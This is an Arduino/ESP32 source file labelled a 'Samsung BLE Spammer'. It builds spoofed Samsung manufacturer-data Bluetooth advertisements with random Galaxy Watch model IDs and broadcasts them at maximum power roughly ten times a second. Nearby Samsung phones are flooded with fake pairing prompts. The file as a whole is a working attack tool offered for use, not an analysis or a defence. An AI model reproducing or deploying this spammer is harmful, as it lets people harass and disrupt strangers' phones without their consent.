#include <Arduino.h> #include <NimBLEDevice.h>

// From CapibaraZero's repository #define SAMSUNG_COMPANY_ID 0x0075

// Samsung watch models struct WatchModel { uint8_t value; const char* name; };

const WatchModel watch_models[] = { {0x01, "White Watch4 Classic 44m"}, {0x02, "Black Watch4 Classic 40m"}, {0x03, "White Watch4 Classic 40m"}, {0x04, "Black Watch4 44mm"}, {0x05, "Silver Watch4 44mm"}, {0x06, "Green Watch4 44mm"}, {0x07, "Black Watch4 40mm"}, {0x08, "White Watch4 40mm"}, {0x09, "Gold Watch4 40mm"}, {0x0A, "French Watch4"}, {0x0B, "French Watch4 Classic"}, {0x0C, "Fox Watch5 44mm"}, {0x11, "Black Watch5 44mm"}, {0x12, "Sapphire Watch5 44mm"}, {0x13, "Purpleish Watch5 40mm"}, {0x14, "Gold Watch5 40mm"}, {0x15, "Black Watch5 Pro 45mm"}, {0x16, "Gray Watch5 Pro 45mm"}, {0x17, "White Watch5 44mm"}, {0x18, "White & Black Watch5"}, {0x1B, "Black Watch6 Pink 40mm"}, {0x1C, "Gold Watch6 Gold 40mm"}, {0x1D, "Silver Watch6 Cyan 44mm"}, {0x1E, "Black Watch6 Classic 43m"}, {0x20, "Green Watch6 Classic 43m"}, {0x1A, "Fallback Watch"} };

NimBLEAdvertising* pAdvertising; int packetCount = 0;

void setup() { Serial.begin(115200); Serial.println("Starting Samsung BLE Spammer...");

// Initialize BLE NimBLEDevice::init(""); NimBLEDevice::setPower(ESP_PWR_LVL_P9); // Max power

pAdvertising = NimBLEDevice::getAdvertising();

// Seed random number generator randomSeed(analogRead(0)); }

void buildSamsungPacket(NimBLEAdvertisementData &advData) { uint8_t packet[15]; int i = 0;

// Select random watch model uint8_t model = watch_models[random(sizeof(watch_models)/sizeof(WatchModel))].value;

// Construct packet based on CapibaraZero's research packet[i++] = 14; // Size packet[i++] = 0xFF; // Manufacturer Specific Data packet[i++] = SAMSUNG_COMPANY_ID & 0xFF; // Samsung Company ID (LSB) packet[i++] = (SAMSUNG_COMPANY_ID >> 8) & 0xFF; // Samsung Company ID (MSB) packet[i++] = 0x01; packet[i++] = 0x00; packet[i++] = 0x02; packet[i++] = 0x00; packet[i++] = 0x01; packet[i++] = 0x01; packet[i++] = 0xFF; packet[i++] = 0x00; packet[i++] = 0x00; packet[i++] = 0x43; packet[i++] = model; // Watch model

advData.addData(std::string((char*)packet, sizeof(packet))); }

void loop() { NimBLEAdvertisementData advertisementData; buildSamsungPacket(advertisementData);

pAdvertising->setAdvertisementData(advertisementData); pAdvertising->start(); delay(20); // Short delay between packets pAdvertising->stop();

packetCount++; if (packetCount % 10 == 0) { Serial.printf("Packets sent: %d\n", packetCount); }

delay(80); // Adjust spam rate }